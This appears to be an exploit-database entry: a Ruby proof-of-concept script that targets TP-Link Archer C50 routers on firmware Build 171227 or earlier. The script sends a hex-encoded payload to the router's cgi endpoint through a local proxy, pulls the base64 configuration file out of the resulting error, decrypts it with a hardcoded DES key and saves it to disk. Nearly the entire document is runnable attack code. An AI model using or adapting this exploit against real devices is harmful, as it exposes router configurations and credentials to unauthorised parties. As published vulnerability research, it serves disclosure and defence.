TP-Link Archer C50 Wireless Router 171227 – Cross-Site Request Forgery (Configuration File Disclosure)
# Exploit Title: TP-Link Archer C50 Wireless Router 171227 - Cross-Site Request Forgery (Configuration File Disclosure) # Date: 2018-11-07 # Exploit Author: Wadeek # Vendor Homepage: https://www.tp-link.com/ # Hardware Version: Archer C50 v3 00000001 # Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware # Firmware Version: <= Build 171227 #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! url = "http://192.168.0.1:80/" #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! require('base64') require('openssl') require('mechanize') agent = Mechanize.new() # require HTTP Proxy (chunk error) agent.set_proxy("127.0.0.1", "8080") def scan(agent, url, path, query) begin puts(path) response = agent.post(url+path, query, { "User-Agent" => "", "Accept" => "*/*", "Referer" => "http://192.168.0.1/mainFrame.htm", "Content-Type" => "text/plain", "Connection" => "keep-alive", "Cookie" => "" }) rescue Exception => e begin puts(e.inspect()) # body = e.page().body() content = Base64.decode64(body.scan(/ZAP Error \[java\.io\.IOException\]\: Bad chunk size\: (.*)/).join()) puts(body.inspect()) cipher = OpenSSL::Cipher.new("des-ecb") cipher.key = "478DA50BF9E3D2CF" cipher.decrypt() output = cipher.update(content) # file = File.open("conf.bin.raw", "wb") file.write(output) file.close() rescue Exception => e puts(e) end puts("") end end #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! payload = "\x5b\x49\x47\x44\x5f\x44\x45\x56\x5f\x49\x4e\x46\x4f\x23\x30"+ "\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c"+ "\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x30\x2c\x34\xd\xa\x6d\x6f\x64"+ "\x65\x6c\x4e\x61\x6d\x65\xd\xa\x64\x65\x73\x63\x72\x69\x70\x74"+ "\x69\x6f\x6e\xd\xa\x58\x5f\x54\x50\x5f\x69\x73\x46\x44\xd\xa\x58"+ "\x5f\x54\x50\x5f\x50\x72\x6f\x64\x75\x63\x74\x56\x65\x72\x73\x69"+ "\x6f\x6e\xd\xa\x5b\x45\x54\x48\x5f\x53\x57\x49\x54\x43\x48\x23\x30"+ "\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c"+ "\x30\x2c\x30\x2c\x30\x5d\x31\x2c\x31\xd\xa\x6e\x75\x6d\x62\x65\x72"+ "\x4f\x66\x56\x69\x72\x74\x75\x61\x6c\x50\x6f\x72\x74\x73\xd\xa\x5b"+ "\x53\x59\x53\x5f\x4d\x4f\x44\x45\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c"+ "\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x32"+ "\x2c\x31\xd\xa\x6d\x6f\x64\x65\xd\xa\x5b\x2f\x63\x67\x69\x2f\x63\x6f"+ "\x6e\x66\x65\x6e\x63\x6f\x64\x65\x23\x30\x2c\x30\x2c\x30\x2c\x30"+ "\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30"+ "\x5d\x33\x2c\x30\xd\xa\x3d" #puts(payload) scan(agent, url, "cgi?1&1&1&8", payload) #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! |